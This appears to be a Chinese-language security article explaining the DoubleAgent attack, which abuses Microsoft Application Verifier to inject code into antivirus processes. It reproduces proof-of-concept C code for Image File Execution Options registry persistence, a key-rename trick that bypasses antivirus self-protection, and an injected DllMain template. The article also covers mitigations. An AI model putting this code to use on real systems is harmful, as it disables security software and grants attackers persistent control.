近日Cybellum的安全专家发现了一种新型的零日漏洞病毒,该病毒会在攻击计算机前先破坏杀毒软件,Cybellum的安全专家将这种攻击手段命名为 DoubleAgent。 DoubleAgent通过向杀毒软件注入代码从而修改杀毒软件的进程,进而获得设备的完整权限来对用户进行攻击。
DoubleAgent利用了存在于Microsoft Application Verifier(应用程序检验器)的漏洞,目前确认的受影响的设备包括:
1.从XP到Windows 10的所有Windows 版本都受到了影响,
2.含有x86和x64的Windows架构都受到了影响,
3.Windows的SYSTEM 和 Admin 用户都受到了影响,
4.含有OS及Antivirus特权进程的Windows设备都受到了影响,
也就是说DoubleAgent利用了存在于Microsoft Application Verifier的一个15年的漏洞,而且这种攻击是建立在一个合法进程之上,因此目前我们还无法对其进行修复。
代码注入
据Cybellum介绍,DoubleAgent通过将一个叫做“verifier provider DLL”的文件加载到目标应用程序的进程程中。
一旦加载完成,该DLL将作为指定进程的程序DLL添加到Windows注册表。随后Windows会自动以该DLL注册名将代码注入到所有进程中,这个机制使得DoubleAgent能够获得高执行权限,从而允许DoubleAgent执行特权来注册一个恶意的代码进程,将代码注入到杀毒软件,并劫持其代理。
这个攻击方法适用于任何进程了,一旦恶意软件劫持了杀毒软件,它可能会滥用其进行各种恶意操作,包括更改杀毒软件的白名单或黑名单、在应用程序中安装后门程序、劫持用户数据、将其传播到其他设备、进行加密或删除文件(即勒索软件的行为)。
另外代码注入在进程启动过程中发生得非常早,从而使攻击者完全控制进程,并且无法让进程进行自我保护。总而言之,这种代码注入技术非常独特,不会被任何杀毒软件检测到或阻止。
实施持久性攻击
Cybellum还指出,即便采取了重新启动、更新、重新安装或修补程序等行为,攻击也很难被阻止,DoubleAgent还可以继续注入代码。一旦攻击者将代码注入到一个进程中,则这个进程将永远被强制绑定。
攻击范围
1.DoubleAgent的攻击据称影响到诸多安全厂商,包括Avast, AVG, Avira, Bitdefender, Comodo, ESET, F-Secure, Kaspersky, Malwarebytes, McAfee, Norton, Panda, Quick Heal 和 Trend Micro。
2.DoubleAgent可以在操作系统启动后自动执行。
3.DoubleAgent可以劫持现有可信进程的权限,从而伪装成受信任的进程以执行恶意操作。
4.DoubleAgent可以更改执行流程,例如安装后门、削弱加密算法等。
5.DoubleAgent通过向其他用户和会话控制的进程中注入代码,将其传播到其他设备。
攻击技术还原
利用Microsoft Application Verifier的漏洞
DoubleAgent通过一个叫做“verifier provider DLL”的文件加载到应用程序的进程中。
验证者提供的代码只是一个被加载到进程中并负责执行应用程序运行验证的,为了注册一个新的应用程序验证代码,验证者需要为验证程序提供程序代码并通过在注册表中创建一组密钥(a set of keys)来注册它。
一旦将代码注册为进程的验证程序,即使在重新启动、更新、重新安装、修补程序等之后,Windows Loader也会永久注入到进程中。
注册
应用程序验证者会根据可执行文件名称进行注册,这意味着每个代码都被绑定到一个特定的可执行文件名称,并且还将被注入到注册过的进程名称启动后的每个进程。
例如把DoubleAgentDll.dll注册到cmd.exe并启动,“C:/cmd.exe”和“C:/Windows/System32/cmd.exe”在注册后,会将DoubleAgentDll.dll注入到这两个进程中。
注册后,每当使用注册名称创建新进程时,操作系统会自动执行注入。无论是rebootsupdatesreinstallspatches还是其它,注入都会一直发生。每次创建具有注册名称的新进程时,DoubleAgent都将与应用程序验证一起注入。
可以使用Cybellum公开的DoubleAgent项目来注册新的应用验证,请点击这儿。
Usage: DoubleAgent.exe installuninstallrepair process_name
e.g. DoubleAgent.exe install cmd.exe
或者使用验证器模块将注册功能集成到现有项目中,请点击这儿。
/*
* Installs an application verifier for the process
*/
DOUBLEAGENT_STATUS VERIFIER_Install(IN PCWSTR pcwszProcessName, IN PCWSTR pcwszVrfDllName, IN PCWSTR pcwszVrfDllPathX86, IN PCWSTR pcwszVrfDllPathX64);
/*
* In some cases (application crash, exception, etc.) the installuninstall functions may accidentally leave the machine in an undefined state
* Repairs the machine to its original state
*/
DOUBLEAGENT_STATUS VERIFIER_Repair(VOID);
/*
* Uninstalls the application verifier from the process
*/
VOID VERIFIER_Uninstall(IN PCWSTR pcwszProcessName, IN PCWSTR pcwszVrfDllName);
在后台,注册过程创建了两个新的注册表项:
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options/PROCESS_NAME
/* Creates the VerifierDlls value and sets it to the verifier dll name */
bCreatedVerifierDlls = (ERROR_SUCCESS == RegSetKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_VERIFIERDLLS_VALUE_NAME, REG_SZ, pcwszVrfDllName, dwVrfDllNameLenInBytes));
/*
* Creates the GlobalFlag value and sets it to FLG_APPLICATION_VERIFIER
* Read more: https://msdn.microsoft.com/en-us/library/windows/hardware/ff542875(v=vs.85).aspx
*/
bCreatedGlobalFlag = (ERROR_SUCCESS == RegSetKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_GLOBALFLAG_VALUE_NAME, REG_DWORD,
&dwGlobalFlag, sizeof(dwGlobalFlag)));
最终结果如下:
某些杀毒软件试图通过阻止DoubleAgent修改密钥的方法来保护“Image File Execution Options”下的进程。例如杀毒软件可能会尝试阻止访问“Image File Execution Options/ANTIVIRUS_NAME”的任何尝试。
但是DoubleAgent只需要通过略微修改注册表路径,就可以轻松地绕过这些简单的保护措施。例如绕过“ “Image File Execution Options/ANTIVIRUS_NAME” 的访问,DoubleAgen首先将“Image File Execution Options”重命名为“Image File Execution Options Temp”等新的临时名称,在“Image File Execution Options TempANTIVIRUS_NAME”下创建新的注册表项,然后将“Image File Execution Options”重命名为其原始名称。
因为新的密钥的创建发生在“Image File Execution Options TempANTIVIRUS_NAME”而不是“Image File Execution Options/ANTIVIRUS_NAME”之下,所以DoubleAgent足以绕过杀毒软件的自我保护。
Cybellum的研究人员通过对几款杀毒软件的注册表项进行安全保护性测试后发现,所有这些杀毒软件都被使用了“Rename Technique”的DoubleAgent绕过。
在“Rename Technique”技术实现后,就可以实现代码注入了:
/* Creates the VerifierDlls value and sets it to the verifier dll name */
bCreatedVerifierDlls = (ERROR_SUCCESS == RegSetKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_VERIFIERDLLS_VALUE_NAME, REG_SZ, pcwszVrfDllName, dwVrfDllNameLenInBytes));
/*
* Creates the GlobalFlag value and sets it to FLG_APPLICATION_VERIFIER
* Read more: https://msdn.microsoft.com/en-us/library/windows/hardware/ff542875(v=vs.85).aspx
*/
bCreatedGlobalFlag = (ERROR_SUCCESS == RegSetKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_GLOBALFLAG_VALUE_NAME, REG_DWORD, &dwGlobalFlag, sizeof(dwGlobalFlag)));
/*
* The key creation might fail because some antiviruses protect the keys of their processes under the IFEO
* One possible bypass is to rename the IFEO key name to a temporary name, create the keys, and restores the IFEO key name
*/
if ((FALSE == bCreatedVerifierDlls) || (FALSE == bCreatedGlobalFlag))
{
/* Renames the IFEO key name to a temporary name */
if (ERROR_SUCCESS != RegRenameKey(hIfeoKey, NULL, VERIFIER_IMAGE_FILE_EXECUTION_OPTIONS_NAME_TEMP))
{
DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_REGISTER_REGRENAMEKEY_FAILED);
goto lbl_cleanup;
}
bKeyRenamed = TRUE;
/*
* Opens the temporary IFEO key
* The key is reopened because some antiviruses continue monitoring and blocking the handle that opened the original IFEO
*/
if (ERROR_SUCCESS != RegOpenKeyExW(HKEY_LOCAL_MACHINE, VERIFIER_IMAGE_FILE_EXECUTION_OPTIONS_SUB_KEY_TEMP, 0, KEY_SET_VALUE | KEY_WOW64_64KEY, &hIfeoKeyTemp))
{
DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_REGISTER_REGOPENKEYEXW_FAILED_TEMP_IFEO);
goto lbl_cleanup;
}
if (FALSE == bCreatedVerifierDlls)
{
/* Tries again to create the VerifierDlls value */
if (ERROR_SUCCESS != RegSetKeyValueW(hIfeoKeyTemp, pcwszProcessName, VERIFIER_VERIFIERDLLS_VALUE_NAME, REG_SZ, pcwszVrfDllName, dwVrfDllNameLenInBytes))
{
DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_REGISTER_REGSETKEYVALUEW_FAILED_VERIFIERDLLS);
goto lbl_cleanup;
}
bCreatedVerifierDllsTemp = TRUE;
}
if (FALSE == bCreatedGlobalFlag)
{
/* Tries again to create the GlobalFlag value */
if (ERROR_SUCCESS != RegSetKeyValueW(hIfeoKeyTemp, pcwszProcessName, VERIFIER_GLOBALFLAG_VALUE_NAME, REG_DWORD, &dwGlobalFlag, sizeof(dwGlobalFlag)))
{
DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_REGISTER_REGSETKEYVALUEW_FAILED_GLOBALFLAG);
goto lbl_cleanup;
}
bCreatedGlobalFlagTemp = TRUE;
}
}
注入
操作系统会通过调用ntdll的LdrInitializeThunk 来控制内核到用户的传输模式,这样每个进程都将启动。启动后,ntdll会负责初始化过程(初始化全局变量,加载导入等),并最终将控制转移到执行程序:
该过程处于初始阶段,唯一加载的模块是ntdll.dll和可执行文件(NS.exe):
当ntdll的LdrpInitializeProcess中的大部分初始化发生时,Ntdll也会开始初始化进程:
通常第一个被加载的DLL将是kernel32.dll。
但是,如果应用程序验证已经打开ntdll的LdrpInitializeProcess调用ntdll的AVrfInitializeVerifier,那这会导致程序DLL在加载kernel32之前加载:
初始阶段,在任何其他系统dll之前,研究人员是可以绝对控制这个过程的:
一旦研究人员的DLL由ntdll加载,则DllMain将被调用,研究人员就可以自由地按照所希望的方式在用户进程中进行任意控制狂:
static BOOL main_DllMainProcessAttach(VOID)
{
DOUBLEAGENT_STATUS eStatus = DOUBLEAGENT_STATUS_INVALID_VALUE;
/*
**************************************************************************
Enter Your Code Here
**************************************************************************
*/
/* Succeeded */
DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_SUCCESS);
/* Returns status */
return FALSE != DOUBLEAGENT_SUCCESS(eStatus);
}
DoubleAgent的预防
微软为杀毒厂商提供了一个新的保护理念,称为保护过程防护。保护过程防护专门是为杀毒服务而设计。杀毒进程可以创建为“受保护的进程”,受保护的进程设备只允许受信任的签名代码加载,并具有针对代码注入攻击的内置防护功能。这意味着即使攻击者再发现了一种新的零日漏洞技术来注入代码,但因为它的代码未签名,所以最终还是无法修改杀毒软件的权限。目前只有Windows Defender已经实现了这种保护。
不过请注意,即使杀毒软件会阻止注册尝试,代码注入技术和持久性技术也难被阻止,因为代码注入技术和持久性技术利用了是操作系统的合法进程。
总结
攻击技术总是在发展,比如这次的零日攻击。所以我们需要更加努力地发现和防范这些攻击,并停止盲目信任传统的安全解决方案,如上文所分析的那样,如果我们还是按照传统的思维方式来抵御这个零日攻击,不仅无效而且还为攻击者创造了新的攻击机会。